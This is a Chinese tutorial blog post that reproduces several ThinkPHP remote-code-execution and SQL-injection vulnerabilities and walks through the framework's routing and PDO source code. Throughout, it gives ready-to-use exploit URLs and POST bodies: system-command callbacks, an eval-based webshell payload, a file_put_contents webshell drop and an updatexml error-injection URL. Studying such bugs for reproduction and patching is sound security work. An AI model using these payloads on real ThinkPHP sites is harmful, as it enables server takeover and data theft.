本篇文章給大家帶來了關于thinkphp的相關知識,其中主要介紹了關于thinkphp漏洞復現的相關內容,下面一起來看一下,希望對大家有幫助。
ThinkPHP
1)簡介
ThinkPHP是一個免費開源的,快速的,簡單的面向對象的國產輕量級PHP開發框架。
ThinkPHP遵循Apache2開源協議發布,是為了敏捷WEB應用開發和簡化企業級應用開而誕生的,具有免費開源,快速簡單及面向對象等眾多的優秀功能和特性。ThinkPHP經歷了五年多發展的同時,在社區團隊的積極參與下,在易用性,擴展性和性能方面不斷優化和改進,眾多的典型案例確保可以穩定用于商業以及門戶的開發。
ThinkPHP借鑒了國外很多優秀的框架和模式,使用面向對象的開發結構和MVC模式,采用單一入口模式等。融合了Struts的Action思想和JSP的TagLib(標簽庫),ROR的ORM映射和ActiveRecord模式;封裝了CURD和一些常用操作,在項目配置,類庫導入,模板引擎,查詢語言,自動驗證,視圖模型,項目編譯,緩存機制,SEO支持,分布式數據庫,多數據庫連接和切換,認證機制和擴展性方面均有獨特的表現。
立即學習“PHP免費學習筆記(深入)”;
使用ThinkPHP,可以更方便和快捷的開發和部署應用。ThinkPHP本身具有很多的原創特性,并且倡導大道至簡,開發由我的開發理念,用最少的代碼完成更多的功能,宗旨就是讓WEB應用開發更簡單,更快速!
2)安裝方法
下載ThinkPHP后解壓完成會形成兩個文件夾:ThinkPHP和Examples。
ThinkPHP無需單獨安裝,將ThinkPHP文件夾FTP至服務器Web目錄或拷貝至本地Web目錄下面即可。
3)ThinkPHP目錄結構說明
ThinkPHP.php:框架入口文件
Common:包含框架的一些公共文件,系統定義,系統函數和慣例配置等
Conf:框架配置文件目錄
Lang:系統語言文件目錄
Lib:系統基類庫目錄
Tpl:系統模板目錄
Extend:框架擴展s
4)ThinkPHP運行環境要求
thinkphp可以支持Windows/Unix服務器環境,可以運行包括Apache,IIS和nginx在內的多種WEB服務器和多種模式。需要PHP5.2.0以上版本支持,支持MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多種數據庫和連接。
ThinkPHP本身沒有什么特別模塊要求,具體的應用系統運行環境要求視開發所涉及的模塊。ThinkPHP底層運行的內存消耗極低,而本身的文件大小也是輕量級,因此不會出現空間和內存占用的瓶頸。
一、2-rce
0x01 提前了解知識
preg_replace函數:
preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = – 1 [ , int &$count ]])
搜索subject中匹配pattern的部分,以replacement進行替換。
-
$pattern:要搜索的模式,可以是字符串或者一個字符串數組
-
$replacement:用于替換的字符串或者數組
-
$subject:用于替換的目標字符串或者數組
-
$limit:可選,對于每個模式用于每個subject字符串的最大可替換數。默認是-1
-
$count:可選·,為替換執行的次數
返回值:
如果subject為一個數組,則返回一個數組,其他情況下返回一個字符串。
如果匹配被查找到,替換后的subject被返回,其他情況下,返回沒有改變的 subject,如果發生錯誤返回NULL
正則表達式:https://www.runoob.com/regexp/regexp-syntax.html
0x02 實驗步驟
訪問頁面,發現是一個Thinkphp的cms框架,由于是漏洞復現,我們很清楚的知道他的版本是2.x。如果不知道版本的可以通過亂輸入徑進行報錯,或是使用云悉指紋識別進行檢測
此時輸入已經爆出的遠程代碼執行命令即可浮現漏洞:
/index.php?s=/index/index/xxx/${@phpinfo()}???//phpinfo敏感文件 /index.php?s=a/b/c/${@print(eval($_POST[1]))}??//此為一句話連菜刀
這里只要將phpinfo()換成一句話木馬即可成功!
0x03 實驗原理
1)通過觀察這句話,我們可以清楚的知道它是將
${@phpinfo()}
作為變量輸出到了頁面顯示,其原理,我通過freebuf總結一下:
在PHP當中, ${} 是可以構造一個變量的, {} 寫的是一般字符,那么就會被當作成變量,比如 ${a} 等價于 $a
thinkphp所有的主入口文件默認訪問index控制器(模塊)
thinkphp所有的控制器默認執行index動作(方法)
http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值…]
數組$var在路徑存在模塊和動作時,會去除前面兩個值。而數組$var來自于explode($depr,trim($_SERVER[‘PATH_INFO’],’/’));也就是路徑。
所以我們構造poc如下:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}…….
2)換而言之,就是在thinphp的類似于MVC的框架中,存在一個Dispatcher.class.php的文件,它規定了如何解析路由,在該文件中,存在一個函數為static public function dispatch(),此為URL映射控制器,是為了將URL訪問的路徑映射到該控制器下獲取資源的,而當我們輸入的URL作為變量傳入時,該URL映射控制器會將變量以數組的方式獲取出來,從而導致漏洞的產生。
類名為`Dispatcher`,class?Dispatcher?extends?Think 里面的方法有: static?public?function?dispatch()?URL映射到控制器 public?static?function?getPathInfo()??獲得服務器的PATH_INFO信息 static?public?function?routerCheck()?路由檢測 static?private?function?parseUrl($route) static?private?function?getModule($var)?獲得實際的模塊名稱 static?private?function?getGroup($var)?獲得實際的分組名稱
二、5.0.23-rce
漏洞簡介
ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個系列,系列不同,復現漏洞時也稍有不同。
在ThinkPHP 5.x中造成rce(遠程命令執行)有兩種原因
1.路由對于控制器名控制不嚴謹導致RCE、
2.Request類對于調用方法控制不嚴謹加上變量覆蓋導致RCE
首先記錄這兩個主要POC:
控制器名未過濾導致rce
function為反射調用的函數,vars[0]為傳入的回調函數,vars[1][]為參數為回調函數的參數
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
核心類Request遠程代碼執行漏洞
filter[]為回調函數,get[]或route[]或server[REQUEST_METHOD]為回調函數的參數,執行回調函數的函數為call_user_func()
核心版需要開啟debug模式
POST /index.php?s=captch
_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_ method=_construct&method=get&filter[]=system&get[]=pwd
控制器名未過濾導致RCE
0x01 簡介
2018年12月9日,ThinkPHP v5系列發布安全更新v5.0.23,修復了一處可導致遠程代碼執行的嚴重漏洞。在官方公布了修復記錄后,才出現的漏洞利用方式,不過不排除很早之前已經有人使用了0day
該漏洞出現的原因在于ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url調用到ThinkPHP框架內部的敏感函數,進而導致getshell漏洞
最終確定漏洞影響版本為:
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
理解該漏洞的關鍵在于理解ThinkPHP5的路由處理方式主要分為有配置路由和未配置路由的情況,在未配置路由的情況,ThinkPHP5將通過下面格式進行解析URL
http://serverName/index.php(或者其它應用入口文件)/模塊/控制器/操作/[參數名/參數值...]
同時在兼容模式下ThinkPHP還支持以下格式解析URL:
http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...](參數以PATH_INFO傳入) http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[&參數名=參數值...]?????(參數以傳統方式傳入)
eg: http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7 http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8
本次漏洞就產生在未匹配到路由的情況下,使用兼容模式解析url時,通過構造特殊url,調用意外的控制器中敏感函數,從而執行敏感操作
下面通過代碼具體解析ThinkPHP的路由解析流程
0x02 路由處理邏輯詳細分析
分析版本: 5.0.22
跟蹤路由處理的邏輯,來完整看一下該漏洞的整體調用鏈:
thinkphp/library/think/App.php
116行,通過routeCheck()方法開始進行url路由檢測
在routeCheck()中,首先提取$path信息,這里獲取$path的方式分別為pathinfo模式和兼容模式,pathinfo模式就是通過$_SERVER[‘PATH_INFO’]獲取到的主要path信息,==$_SERVER[‘PATH_INFO’]會自動將URL中的””替換為”/”,導致破壞命名空間格式==,==兼容模式下==$_SERVER[‘PATH_INFO’]=$_GET[Config::get(‘var_pathinfo’)];,path的信息會通過get的方式獲取,var_pathinfo的值默認為’s’,從而繞過了反斜杠的替換==,這里也是該漏洞的一個關鍵利用點
檢測邏輯:如果開啟了路由檢測模式(配置文件中的url_on為true),則進入路由檢測,結果返回給$result,如果路由無效且設置了只允許路由檢測模式(配置文件url_route_must為true),則拋出異常。
在兼容模式中,檢測到路由無效后(false === $result),則還會進入Route::parseUrl()檢測路由。我們重點關注這個路由解析方式,因為該方式我們通過URL可控:
放回最終的路由檢測結果$result($dispath),交給exec執行:
$dispatch?=?self::routeCheck($request,?$config);//line:116 $data?=?self::exec($dispatch,?$config);//line:139 public?static?function?routeCheck($request,?array?$config)//line:624-658 { ????????$path???=?$request->path(); ????????$depr???=?$config['pathinfo_depr']; ????????$result?=?false; ????????//?路由檢測 ????????$check?=?!is_null(self::$routeCheck)???self::$routeCheck?:?$config['url_route_on']; ????????if?($check)?{ ????????????//?開啟路由 ????????????…… ????????????//?路由檢測(根據路由定義返回不同的URL調度) ????????????$result?=?Route::check($request,?$path,?$depr,?$config['url_domain_deploy']); ????????????$must???=?!is_null(self::$routeMust)???self::$routeMust?:?$config['url_route_must']; ????????????if?($must?&&?false?===?$result)?{ ????????????????//?路由無效 ????????????????throw?new?RouteNotFoundException(); ????????????} ????????} ????????//?路由無效?解析模塊/控制器/操作/參數...?支持控制器自動搜索 ????????if?(false?===?$result)?{ ????????????$result?=?Route::parseUrl($path,?$depr,?$config['controller_auto_search']); ????????} ????????return?$result; ????}
thinkphp/libary/think/Route.php
跟蹤Route::parseUrl(),在注釋中可以看到大概解析方式
$url主要同通過parseUrlPath()解析,跟蹤該函數發現程序通過斜杠/來劃分模塊/控制器/操作,結果為數組形式,然后將他們封裝為$route,最終返回[‘type’=>’moudle’,’moudle’=>$route]數組,作為App.php中$dispatch1值,并傳入exec()函數中
注意這里使用的時 斜杠/來劃分每個部分,我們的控制器可以通過命名空間來調用,命名空間使用反斜杠來劃分,正好錯過,這也是能利用的其中一個細節
/** ?????*?解析模塊的URL地址?[模塊/控制器/操作?]參數1=值1&參數2=值2... ?????*?@access?public ?????*?@param?string?$url????????URL地址 ?????*?@param?string?$depr???????URL分隔符 ?????*?@param?bool???$autoSearch?是否自動深度搜索控制器 ?????*?@return?array */ public?static?function?parseUrl($url,?$depr?=?'/',?$autoSearch?=?false)//line:1217-1276 ????{ ????????$url??????????????=?str_replace($depr,?'|',?$url); ????????list($path,?$var)?=?self::parseUrlPath($url);??//解析URL的pathinfo參數和變量 ????????$route????????????=?[null,?null,?null]; ????????if?(isset($path))?{ ????????????//?解析模塊,依次得到$module,?$controller,?$action ??????????…… ??????????//?封裝路由 ????????????$route?=?[$module,?$controller,?$action]; ????????} ????????return?['type'?=>?'module',?'module'?=>?$route]; ????}
thinkphp/library/think/Route.php
private?static?function?parseUrlPath($url)//line:1284-1302 ????{ ????????//?分隔符替換?確保路由定義使用統一的分隔符 ????????$url?=?str_replace('|',?'/',?$url); ????????$url?=?trim($url,?'/'); ????????$var?=?[]; ????????if?(false?!==?strpos($url,?'?'))?{ ????????????//?[模塊/控制器/操作?]參數1=值1&參數2=值2... ????????????$info?=?parse_url($url); ????????????$path?=?explode('/',?$info['path']); ????????????parse_str($info['query'],?$var); ????????}?elseif?(strpos($url,?'/'))?{ ????????????//?[模塊/控制器/操作] ????????????$path?=?explode('/',?$url); ????????}?else?{ ????????????$path?=?[$url]; ????????} ????????return?[$path,?$var]; ????}
路由解析結果作為exec()的參數進行執行,追蹤該函數
thinkphp/library/think/App.php
追蹤exec()函數,傳入了$dispatch,$config兩個參數,其中$dispatch為[‘type’ => ‘module’, ‘module’ => $route]
因為 type 為 module,直接進入對應流程,然后執行module方法,其中傳入的參數$dispatch[‘module’]為模塊控制器操作組成的數組
跟蹤module()方法,主要通過$dispatch[‘module’]獲取模塊$module, 控制器$controller, 操作$action,可以看到==提取過程中除了做小寫轉換,沒有做其他過濾操作==
$controller將通過Loader::controller自動加載,這是ThinkPHP的自動加載機制,只用知道此步會加載我們需要的控制器代碼,如果控制器不存在會拋出異常,加載成功會返回$instance,這應該就是控制器類的實例化對象,里面保存的有控制器的文件路徑,命名空間等信息
通過is_callable([$instance, $action])方法判斷$action是否是$instance中可調用的方法
通過判斷后,會記錄$instacne,$action到$call中($call = [$instance, $action]),方便后續調用,并更新當前$request對象的action
最后$call將被傳入self::invokeMethod($call, $vars)
protected?static?function?exec($dispatch,?$config)//line:445-483 ????{ ????????switch?($dispatch['type'])?{ …… ????????????case?'module':?//?模塊/控制器/操作 ????????????????$data?=?self::module( ????????????????????$dispatch['module'], ????????????????????$config, ????????????????????isset($dispatch['convert'])???$dispatch['convert']?:?null ????????????????); ????????????????break; ????????????…… ????????????default: ????????????????throw?new?InvalidArgumentException('dispatch?type?not?support'); ????????} ????????return?$data; ????} public?static?function?module($result,?$config,?$convert?=?null)//line:494-608 ????{ ????????…… ????????if?($config['app_multi_module'])?{ ????????????//?多模塊部署 ??????????//?獲取模塊名 ????????????$module????=?strip_tags(strtolower($result[0]??:?$config['default_module'])); …… ????????} …… ????????//?獲取控制器名 ????????$controller?=?strip_tags($result[1]??:?$config['default_controller']); ????????$controller?=?$convert???strtolower($controller)?:?$controller; ????????//?獲取操作名 ????????$actionName?=?strip_tags($result[2]??:?$config['default_action']); ????????if?(!empty($config['action_convert']))?{ ????????????$actionName?=?Loader::parseName($actionName,?1); ????????}?else?{ ????????????$actionName?=?$convert???strtolower($actionName)?:?$actionName; ????????} ????????//?設置當前請求的控制器、操作 ????????$request->controller(Loader::parseName($controller,?1))->action($actionName); ??????…… ????????try?{ ????????????$instance?=?Loader::controller( ????????????????$controller, ????????????????$config['url_controller_layer'], ????????????????$config['controller_suffix'], ????????????????$config['empty_controller'] ????????????); ????????}?catch?(ClassNotFoundException?$e)?{ ????????????throw?new?HttpException(404,?'controller?not?exists:'?.?$e->getClass()); ????????} ????????//?獲取當前操作名 ????????$action?=?$actionName?.?$config['action_suffix']; ????????$vars?=?[]; ????????if?(is_callable([$instance,?$action]))?{ ????????????//?執行操作方法 ????????????$call?=?[$instance,?$action]; ????????????//?嚴格獲取當前操作方法名 ????????????$reflect????=?new?ReflectionMethod($instance,?$action); ????????????$methodName?=?$reflect->getName(); ????????????$suffix?????=?$config['action_suffix']; ????????????$actionName?=?$suffix???substr($methodName,?0,?-strlen($suffix))?:?$methodName; ????????????$request->action($actionName); ????????}?elseif?(is_callable([$instance,?'_empty']))?{ ????????????//?空操作 ????????????$call?=?[$instance,?'_empty']; ????????????$vars?=?[$actionName]; ????????}?else?{ ????????????//?操作不存在 ????????????throw?new?HttpException(404,?'method?not?exists:'?.?get_class($instance)?.?'->'?.?$action?.?'()'); ????????} ????????Hook::listen('action_begin',?$call); ????????return?self::invokeMethod($call,?$vars); ????}
先提前看下5.0.23的修復情況,找到對應的commit,對傳入的控制器名做了限制
thinkphp/library/think/App.php
跟蹤invokeMethod,其中 $method = $call = [$instance, $action]
通過實例化反射對象控制$instace的$action方法,即控制器類中操作方法
中間還有一個綁定參數的操作
最后利用反射執行對應的操作
public?static?function?invokeMethod($method,?$vars?=?[]) ????{ ????????if?(is_array($method))?{ ????????????$class???=?is_object($method[0])???$method[0]?:?self::invokeClass($method[0]); ????????????$reflect?=?new?ReflectionMethod($class,?$method[1]); ????????}?else?{ ????????????//?靜態方法 ????????????$reflect?=?new?ReflectionMethod($method); ????????} ????????$args?=?self::bindParams($reflect,?$vars); ????????self::$debug?&&?Log::record('[?RUN?]?'?.?$reflect->class?.?'->'?.?$reflect->name?.?'[?'?.?$reflect->getFileName()?.?'?]',?'info'); ????????return?$reflect->invokeArgs(isset($class)???$class?:?null,?$args); ????}
以上便是ThinkPHP5.0完整的路由檢測,
0x03 弱點利用
如上我們知道,url 路由檢測過程并沒有對輸入有過濾,我們也知道通過url構造的模塊/控制器/操作主要來調用對應模塊->對應的類->對應的方法,而這些參數通過url可控,我們便有可能操控程序中的所有控制器的代碼,接下來的任務便是尋找敏感的操作
thinkphp/library/think/App.php
public?static?function?invokeFunction($function,?$vars?=?[])//line:311-320 ????{ ????????$reflect?=?new?ReflectionFunction($function); ????????$args????=?self::bindParams($reflect,?$vars); ????????//?記錄執行信息 ????????self::$debug?&&?Log::record('[?RUN?]?'?.?$reflect->__toString(),?'info'); ????????return?$reflect->invokeArgs($args); ????}
該函數通過ReflectionFunction()反射調用程序中的函數,這就是一個很好利用的點,我們通過該函數可以調用系統中的各種敏感函數。
找到利用點了,現在就需要來構造poc,首先觸發點在thinkphp/library/think/App.php中的invokeFunction,我們需要構造url格式為模塊控制器操作
模塊我們用默認模塊index即可,首先大多數網站都有這個模塊,而且每個模塊都會加載app.php文件,無須擔心模塊的選擇
該文件的命名空間為think,類名為app,我們的控制器便可以構造成thinkapp。因為ThinkPHP使用的自動加載機制會識別命名空間,這么構造是沒有問題的。
操作直接為invokeFunction,沒有疑問
參數方面,我們首先要觸發第一個調用函數,簡化一下代碼再分析一下:
第一行確定 $class 就是我們傳入的控制器thinkapp實例化后的對象
第二行綁定我們的方法,也就是invokefunction
第三方就可以調用這個方法了,其中$args是我們的參數,通過url構造,將會傳入到invokefunction中
$class???=?is_object($method[0])???$method[0]?:?self::invokeClass($method[0]); $reflect?=?new?ReflectionMethod($class,?$method[1]); return?$reflect->invokeArgs(isset($class)???$class?:?null,?$args);
然后就進入我們的invokefunctio,該函數需要什么參數,我們就構造什么參數,首先構造一個調用函數function=call_user_func_array
call_user_func_array需要兩個參數,第一個參數為函數名,第二個參數為數組,var[0]=system,var[1][0]=id
這里因為兩次反射一次回調調用需要好好捋一捋。。。。
復現成功
三.5-rce
0x01 漏洞原理
ThinkPHP是一款運用極廣的PHP開發框架,其版本5中,由于沒有使用正確的控制器名,導致在網站沒有開啟強制路由的情況下(即默認情況下),可以執行任意方法,從而導致遠程命令執行漏洞。
0x02 漏洞影響版本
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
0x03 漏洞復現
可以利用點:
http://192.168.71.141:8080/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
vars[0]用來接受函數名,vars[1][]用來接收參數
如:index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
會在屏幕上打出123和我們輸入的字符串長度
寫入一句話木馬getshell
使用file_put_contents函數寫入shell:
vars[0]=system&vars[1][]=echo%20″“>>test.php
使用蟻劍成功getshell!
四.In-sqlinjection-rce
0x01 了解的知識:
pdo預編譯:
當我們使用mysql語句進行數據查詢時,數據首先傳入計算機,計算機進行編譯之后傳入數據庫進行數據查詢
(我們使用的是高級語言,計算機無法直接理解執行,所以我們將命令或請求傳入計算機時,計算機首先將我們的語句編譯成為計算機語言,之后再進行執行,所以如果不編譯直接執行計算機是無法理解的,如傳入select函數,沒編譯之前計算機只認為這是五個字符,而無法理解這是個查詢函數)
如此說來,我們每次查詢時都需要先編譯,這樣會加大成本,并且會存在sql注入的可能,所以有一定危險。
如此,我們進行查詢數據庫數據時使用預編譯,例如:
select???from?security?where?tables=?
此語句中?代表占位符,在pdo中表示之后綁定的數據,此時無法確定具體值
用戶在傳入查詢具體數值時,計算機首先將以上的查詢語句進行編譯,使其具有執行力,之后再對于?代表的具體數值就不進行編譯而直接進行查詢,所以我們在?處利用sql注入語句代替時,就不具有任何效力,甚至傳入字符串時還會報錯,而預編譯還可以節省成本,即上面語句除了查詢數值只編譯一次,之后進行相同語句查詢時直接使用,只是查詢具體數值改變。所以這種預編譯的方式可以很好的防止sql注入。
漏洞上下文如下:
<?php namespace appindexcontroller; use appindexmodelUser; class Index { public function index() { $ids = input('ids/a'); $t = new User(); $result = $t->where('id',?'in',?$ids)->select(); ????} }
如上述代碼,如果我們控制了in語句的值位置,即可通過傳入一個數組,來造成SQL注入漏洞。
文中已有分析,我就不多說了,但說一下為什么這是一個SQL注入漏洞。IN操作代碼如下:
<?php ... $bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field); if (preg_match('/W/', $bindName)) { // 處理帶非單詞字符的字段名 $bindName = md5($bindName); } ... } elseif (in_array($exp, ['NOT IN', 'IN'])) { // IN 查詢 if ($value instanceof Closure) { $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value); ????}?else?{ ????????$value?=?is_array($value)???$value?:?explode(',',?$value); ????????if?(array_key_exists($field,?$binds))?{ ????????????$bind??=?[]; ????????????$array?=?[]; ????????????foreach?($value?as?$k?=>?$v)?{ ????????????????if?($this->query->isBind($bindName?.?'_in_'?.?$k))?{ ????????????????????$bindKey?=?$bindName?.?'_in_'?.?uniqid()?.?'_'?.?$k; ????????????????}?else?{ ????????????????????$bindKey?=?$bindName?.?'_in_'?.?$k; ????????????????} ????????????????$bind[$bindKey]?=?[$v,?$bindType]; ????????????????$array[]????????=?':'?.?$bindKey; ????????????} ????????????$this->query->bind($bind); ????????????$zone?=?implode(',',?$array); ????????}?else?{ ????????????$zone?=?implode(',',?$this->parseValue($value,?$field)); ????????} ????????$whereStr?.=?$key?.?'?'?.?$exp?.?'?('?.?(empty($zone)???"''"?:?$zone)?.?')'; ????}
可見,$bindName在前邊進行了一次檢測,正常來說是不會出現漏洞的。但如果$value是一個數組的情況下,這里會遍歷$value,并將$k拼接進$bindName。
也就是說,我們控制了預編譯SQL語句中的鍵名,也就說我們控制了預編譯的SQL語句,這理論上是一個SQL注入漏洞。那么,為什么原文中說測試SQL注入失敗呢?
這就是涉及到預編譯的執行過程了。通常,PDO預編譯執行過程分三步:
prepare($SQL)編譯SQL語句
bindValue($param, $value)將value綁定到param的位置上
execute()執行
這個漏洞實際上就是控制了第二步的$param變量,這個變量如果是一個SQL語句的話,那么在第二步的時候是會拋出錯誤的:
所以,這個錯誤“似乎”導致整個過程執行不到第三步,也就沒法進行注入了。
但實際上,在預編譯的時候,也就是第一步即可利用。我們可以做有一個實驗。編寫如下代碼:
<?php $params = [ PDO::ATTR_ERRMODE =>?PDO::ERRMODE_EXCEPTION, ????PDO::ATTR_EMULATE_PREPARES??=>?false, ]; $db?=?new?PDO('mysql:dbname=cat;host=127.0.0.1;',?'root',?'root',?$params); try?{ ????$link?=?$db->prepare('SELECT?*?FROM?table2?WHERE?id?in?(:where_id,?updatexml(0,concat(0xa,user()),0))'); }?catch?(PDOException?$e)?{ ????var_dump($e); }
執行發現,雖然我只調用了prepare函數,但原SQL語句中的報錯已經成功執行:
究其原因,是因為我這里設置了PDO::ATTR_EMULATE_PREPARES => false。
這個選項涉及到PDO的“預處理”機制:因為不是所有數據庫驅動都支持SQL預編譯,所以PDO存在“模擬預處理機制”。如果說開啟了模擬預處理,那么PDO內部會模擬參數綁定的過程,SQL語句是在最后execute()的時候才發送給數據庫執行;如果我這里設置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會模擬預處理,參數化綁定的整個過程都是和Mysql交互進行的。
非模擬預處理的情況下,參數化綁定過程分兩步:第一步是prepare階段,發送帶有占位符的sql語句到mysql服務器(parsing->resolution),第二步是多次發送占位符參數給mysql服務器進行執行(多次執行optimization->execution)。
這時,假設在第一步執行prepare($SQL)的時候我的SQL語句就出現錯誤了,那么就會直接由mysql那邊拋出異常,不會再執行第二步。我們看看ThinkPHP5的默認配置:
... //?PDO連接參數 protected?$params?=?[ ????PDO::ATTR_CASE??????????????=>?PDO::CASE_NATURAL, ????PDO::ATTR_ERRMODE???????????=>?PDO::ERRMODE_EXCEPTION, ????PDO::ATTR_ORACLE_NULLS??????=>?PDO::NULL_NATURAL, ????PDO::ATTR_STRINGIFY_FETCHES?=>?false, ????PDO::ATTR_EMULATE_PREPARES??=>?false, ]; ...
可見,這里的確設置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構造如下POC,即可利用報錯注入,獲取user()信息:
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果你將user()改成一個子查詢語句,那么結果又會爆出Invalid parameter number: parameter was not defined的錯誤。因為沒有過多研究,說一下我猜測:預編譯的確是mysql服務端進行的,但是預編譯的過程是不接觸數據的 ,也就是說不會從表中將真實數據取出來,所以使用子查詢的情況下不會觸發報錯;雖然預編譯的過程不接觸數據,但類似user()這樣的數據庫函數的值還是將會編譯進SQL語句,所以這里執行并爆了出來。
個人總結
其實ThinkPH框架漏洞大多用到的都是設置對于控制器名的一個疏忽問題,不理解的小伙伴可以查來url調用文件的機制來學習一下,其實這些框架漏洞都是基于基礎漏洞的一些拓展,至于sql漏洞,了解一下pdo預編譯原理即可。
不管java或是php在進行數據庫查詢的時候都應該進行pdo預編譯,我們都知道,在jdbc工作的時候分成好多步
1.建立連接
2.寫入sql語句
3.預編譯sql語句
4.設置參數
5.執行sql獲取結果
6.遍歷結果(處理結果)
7.關閉連接
對于程序員來說,jdbc操作總是很麻煩,所以利用預編譯就是將mysql查詢語句進行封裝,之后在進行查詢的時候直接輸入參數即可,這樣即簡化了操作也極大程度加強了安全屬性,而以此類推,這樣來說我們是否可以將其他步驟也進行封裝呢,也就是建立連接,寫入sql語句等,只留下寫入sql語句與遍歷結果來進行操作,這樣就更加簡化了操作。
于是就誕生出了Mybatis半自動框架與Hibernate全自動框架,直接將jdbc的操作進行封裝,但是由于全自動框架可操作性過于狹窄,所以現在市面上更多的還是Mybatis框架進行連接服務端與數據庫,但是一般政府或國企的項目還是偏向于Hibernate框架,這些知識都是涉及一些編程知識,大家可以自己去了解一下。
推薦學習:《thinkphp》